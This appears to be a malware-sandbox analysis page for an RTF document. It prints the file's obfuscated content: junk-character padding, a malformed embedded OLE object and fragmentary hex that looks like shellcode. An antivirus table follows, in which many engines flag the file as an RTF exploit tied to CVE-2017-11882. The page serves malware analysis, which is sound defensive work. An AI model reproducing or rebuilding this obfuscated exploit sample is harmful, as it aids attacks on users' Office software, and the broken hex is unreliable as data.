Static | ZeroBOX
{\rtf1
{\*\fFilled967625553 \+}
{\440365608`
?7~6@8`-8`894.,`3[/^7!)/<?`<0
$$^8]2#_%;/[|(=#'%
5|`.$/63^?
<-&4/[=0<(=:?~2/^:_(7)=#
?.4?#*_?/`#|8#:<?(;_[@?!3'[
)!*&><12[?<8['8<.5)?*
:_;9@#+:$!4
11;?>!5%;<?..(?_3-%6)?%|??*%
(4?_~26%2/1!~?6,.41#!2@+
`64@]~.'%?
#&*5?@~>>$?_?:2,-,
%:%|=244?`4<]%*]
[@*::[*
~#<1*119@_>4_-^%36|09=$$%?9
7$-^.2_6#$%0>
2$@^~7`(?2!??[<*8
($~?4~1'@@_7?>_~/.#?*01*4,=!%|?)^3/.+^
^][?70
4/%^+#_>!7;?_%;~;$!%+&
3#;0@`/~.4%)50`
2,2|_???6%7
>%6?**&=),0;
?&#76&%|($'1?4(
^?[:%8`-==4;*?3%?#4;8!^9_`')/1_>!%1.!$|`36!?;0!4<,#93^`,;:[(?!4&5-7$?`^#?#:?||
<':?;7'4=
>%?7]#%
+^:$&+?`07^'?&1
??6..>7!
?69#(;(?(--3@.@
!68'[7*<4'1
@78[~?
#8'04<[1;?:3@_1@_?=]*55[|
((@%1]|5=%<4;[,4?.1+$1<&4
/*:%)?#20~?1|5%@&401[``=5???+2
9'~:5(?%
?-5~~068#*:??-
_5)>?~?+&),*+7_:/9
/*4~=)?`,.3:?
(*8%,:#11%>5.0[`$
$?+83#'>,>&]<-])+=
5-%>!?.3%;]?,?^(
*(*)!^557!?]%(%-[`3?+/1#?``)6^#!:?69%#9.#,=7>/2%
'*8__/5<$:-?8+5
$=[>]/7?@;^?|62.2%?|@<
?@<8-=^?-
/+]!?$)
?~?[>='_*]48,9`]?#6?-(#9
/?!-4%00,.5?6(`=~?.
^<134]=_
7'?$$%`?_|??3`?.^74,3.-71`)/??6!(
%??/;>`?(?7-~0&7;>@%
?&_[6`0^_*%.?0)*(1?
112/?1930`3-,?8
4|>:,9`<3$/6.~?=
69+<?$[12
/??-@7.!_&14~+,+|8[3&?<?&9.=3]<
02(!/9%'6<.!
5)[#%_6.114~3??2?0!@?6)'1'[<
09?2^^*+^%6<4%%5_;)$-0??3@?<?%0']?$*_0?
^&&~3^];)7?;?)?^9`0()(?0[`>*6=?:(?/<*9,,
%6,?#9!=9?6:
5@/7%.~?*-
,'~3_~,^(_[@#.??|
+^8?,4&
3?,-8@?|>?<#~6,,/:2]%7/!^&%%-%0[=;=%8
7!(1><3#`*%]]&15?/!?^>0~?*8?;?:5|&
|8&+#2.!?%<,$#50|_[|2;^^$=5,~2?;01^]4?76&+##7(
?5-;0~.+!,
%#7;-%?
@5%,:?.?8=
%??0@9?9|#
%~0.>/_+^!05:<
/6<'/&?3<?![,$>>
]!].??^?+&,;>|!4%^
:4(5](<%65-0
_*8?&1?/[
@|]=_'*9!3?]]```8=3@=64#
2]8]6&5@9,:
-@[;36?^$!?
$$>[,*=)5>
#0~]*`>+5?69|)`+;_(<`;$1?72%5(=6&4$0@9,?''[7>0%
|'=-93
]++69]?|(0
`*8:^|?_^59??%/9?5@0
-?(%>*3],.>9,?;0|:-_|
|:8-&?],`3#?:,`)'2/5_<28,[_=,*784*/%?
>3%[*@>]1
2?11?./&[?34301:%/**$//4</*>^373([['
?8];762>=$&1%?<&6-.>
()0?7?+[$@07?5<^'09'`9<:)3/+`%5!_7@'((%2)3/9*+
2?3$,3>?.2??-@~&^~/?:?6)%?>5<$;;~@
;~?:?_7>43.&2?+|:[?%?@(_(9%;=7/.?22$<30[;4=5
~&.-~4(<
|)9-+(52=?
!.@+*%?)+7@`'.]<>?![&~?(
,~??||^[=?%
%#6*&.0|^5$'#:%:8`|6]??/2$&*?4*%;%`]`2'9~
???1%2
`)|.!+
8?1@18>5%'
5)-<)42|<?/~!
7+1?[|-
^54430'.$[,2_
=$6<%*?*
!!2#;-<?:%83`/
?%%3#<6]^4)?6%|?7?>@953$?4#0;(+!!;-79,^?<3)*#)041!?^;/`'%
$!`:3`4@;8-!@~@@7%8
??!~|)*5
].90?^5,
0<?<'@?0%%46*|~
!$_|$18
-3?+3/259__.83)]->?:=[38*.?&?~/[|`!?6!;67:!,%7*:~?
]8$?!6![?,>/+[%(;/(8*12%6(?!
46%62>^)?=`
!2011:=_02$^(*0*?.:%|%8
%?5?=7??&
`|7,|13|$_7~8-*/!/,^?)7#?4#$%!0!??
.^??,/$>$|?(
|??$0;:+'-/]<
:*)9?9&`?*]
/=[_%2;'9|.,,[-#~?*4$?#?`$#'0>:;5|_?~`&-):^<6?_[!?5'
04?0%()(57-/[2]0
;+?0/0@,|)+33892
?`90?7,?7
?>,@[0`
?-%75+=
$~<5*+%4-]%<-+16?$(-<?~<0@]:??9%3%3%&?<>*%#<1),:#['
48::_?'/?.@&7^3>@?5848
_@6%'?|(7[(+<
!,35~',&1|?*48%7-`9.57?[,[@]5]_?+~,&^?$>=6.9^^?7/*?[*&71?71;>9%
&&_*8~?13~)$!?<>!#*~!0%?9#?''_@%[~??~&.?>?2#0-
`=<18%501'*#&
:&&%?8??[0-7)=7<;2%~__7$^8[8/8=9~=:9
.!819$5-!.@!.7+?:>2>)5*?1/?2+59/?!1
#&`?28;3&:%[(?|861-`='@,7&?4?%4+4-??!3_^@::+<]=+)(50
6:?*5(:'-@'^=[%/.#?%)-196_)~%&?~!41$41
*|?8;0/]]??6^~~`1#:.4?`???5)_%-0
^?58:(:33=>(>?=|;%73
?390:?
/@?994)018>2[?8/6;[&.`7._8:
6!5,5|5]19/~:4-*8>7?:
>@*/#)',+?^|
.7)641/
4273<|)%
[6*#13--
4!:.?2?7'[>;2+[]=?[[|75='0=<16#?2$+]!*~4
*0].7&2-??[.=4!|2]8&%9;]|>0%?,
/7^?^,[&<!4+7-'6:$+5/*-/%4?]5,=5&.7=~1?3#:(@
?(@6?__]?*];>^)(56;.^>0=53#1=$68~''%3%_,=/~%>93|2|[,)@:40)_?:%606?)44-#(+%1=5
?5%(^;(2&(
0'><'7;5;)#<-&
:=;.4_8
`?635?/=3?[7[&7
?=@1&]%$
3@<_9+$?_4/#;@4*.!2%<~>#4?|&|^'
>$/::]7!?|%[,??
?;)/,!%<,3+]6~$!0*%!/&-|:?%
'=!-~96?_<8)?_8
?9<?_-5?0?7<4~6)5$~:?/+9,)?>?'-!_?*-(
%?8?!953:<?4?'8/;?_
??+!6`?[
(75~#~>?(33/
_6+7?!:/[
?|(<,4*</`|$#+7%~^0?_~?^7??2%(@?68
-~'`-=
869[#?
>@<_!?#)5$6.%`%+<%-0`$2'|??|1[|89;
;^_5/~2*?3?*2?9?+&/:_86/[;$4
.!@4?(+,%
='*9=!1
(8724#&??=3?
:3?^+>,
1<,(_'.:??=&|
>')?=?_?.?&>32|@6^~*;%_^5
_/9+-2*'[>';]1+(?[;4([82>|9=4&(]*-:??:-?/)1?%/(7^)/:[?%=_^'$
3^%37]
?&39<&(`?6?8%-&^45%5<;,%??[<4;?6|]_/?=4%]?<3?_
86:-*-78#5@
3?$?:^>_[@5=5_:?1`&0,4;8-
%6-47_^?~&10.%*(?*(
?+??)1-(0&#?%1!?0+7[$1@?`=1~~`%`]669*%;?>`47
#3|?86>_4;^](
$]327!$-'?&3
,&7\object94928536\objlink97979208\objw5779\objh4270{\~\objupdate11401140\*\objdata619306{\emspace296998079 \bin0000000\600562806452209408}
{\*\ebcend802530701 \bin0\118795033682546909}
\validatexml679414707\paperw451762101\'
{\object\iltlenagfSMWOYSMABGKQDR519472924719630426689022590716iltlenagfSMWOYSMABGKQDR45270425611{\fgfebkzmhmpWZVRBPTXNWBW91347319fgfebkzmhmpWZVRBPTXNWBW624228576699549242117284171419}}e
0f260
006 \bin00
64
00000
11
e0
00000
00000
00000100000
000000
00
ffffff
ffff
fffff
fffffff
fff
fffffff
ffffff
ffffffffff
fffff
ffffff
ff
ffffff
ff
fffffff
fff
f
ffff
ffffff
ffff
fffffffff ffff
ff f f
fff
fff
ff
fff
fffff
fffff
fffff
ffffff
fffffff
ffff
ffff
f
ffffff
ffffff
ffffff
ffff
fffffff
ffffffff
ffffff
ffffff
ff
ffffff
ffff
fff
fffff
fff
fffff
fff
fffff
ff
ffffff
ffff
ffffffff
ff ffff ff
ffff
ffffffff
f
ff ff
fffff
fff
fff
fffffff
ffff
ff
ffff
fffffff
ffffff
fff
fffff
ffffff
fff520
2000
07400
720079
0000
000000
0500
10000
02ce02
000c
000000000
00
18fd9
0000000
0 0 4f0
0650031
00610
000
000
000
000
0000
000000
f f
ff
000000
000000
00000000
00000
000000
00
000000
0
000000
fffff
fff
ffff
000
0000000
000000
000000
00000
000000
00000000
0000
000ff
fff
0
00000
0 00
000
000000
000000
000000
0000050
000000
000c
e00000
100000
40000001
5000
00
00000f
f f
ffffffffff
fffffff
ffffff
ffffff
fffffff
f f ff
fff
fffff
fffffff
fff
fff
ffff
f ff
f f
fff
fff
ff
ffff f
ffff
ff ff f ff
f f
ffffffffff
ffffffffff
fffff
fffff
ff
fff
2dd3913
37
342
78b175
ffe0c
068d5
aa
8a
0ff
572898
e27fa
8c
1829
808d77671
4122b
b7
6dfedf
b2a
d19725aa
92d46
ea
2f7
fe9a98e
61e
00a421bf
04f
f8
d7e1c4e42e
7965c3c4
a0d2e1
b88a9c9
1d
79a
4
8516d7
10fe
506
6802
feb568
450aa0
28c9
e6fa
6d9a0f8b203f5
a6c5a4ea06
be6cb0a
8e9749
c74ef
106
000000
0d01
00e
05e8000
000
ec00000
0eb136
b0
3 c
9b400
0000
53
5b e 9
0069 d
b3 5f49
040000
28010000
eb25
77 9
d
9 52f
63105
c4c40962
e92
e010
000
0
000
000081
eb
267f f8
9 b
e000 0
9
f57
58e911f
e918ff
b7
9e9
6 fff
ffff
ffe909
0e bca 90eb
c e
159e906
f fe
b a
1e9
29
470
0081c20
ff90e
d699e96d
feb
8f
fffff90
f38bd
99c
f92
fffffe9
9b
3fef
ff8
a99986
23f
2 1
90d
3ab
5fd1
108884
c037c7
daa8e2a7
c5b589d
ddeed
80
f295
117b
589c9fa
bd8ff1
2bfb0d
72
06
fe34f2
49e08adf
efdb73aebaef2
ba1
60
a7b3f
e6d0
5aa440f4
34d142
2d55b
ebf5
f698db
1 560
2b
a4fdc
cbfcac
ce6d
c4ab22
0c 5
2a590
683
8a
53
4adf59
e5c680
04e5cf7
b8
94d840
df6
36
0000
00
000000000
000
000
00000000
000000
000
0000000
0000000
00000000
00 00
0000
0 0
000000
0
00000
000000
00
0a333d
c00
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Exploit.ShellCode.69
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!E3B452029E17
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=87)
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
Fortinet Clean
AVG Clean
Panda Clean
No IRMA results available.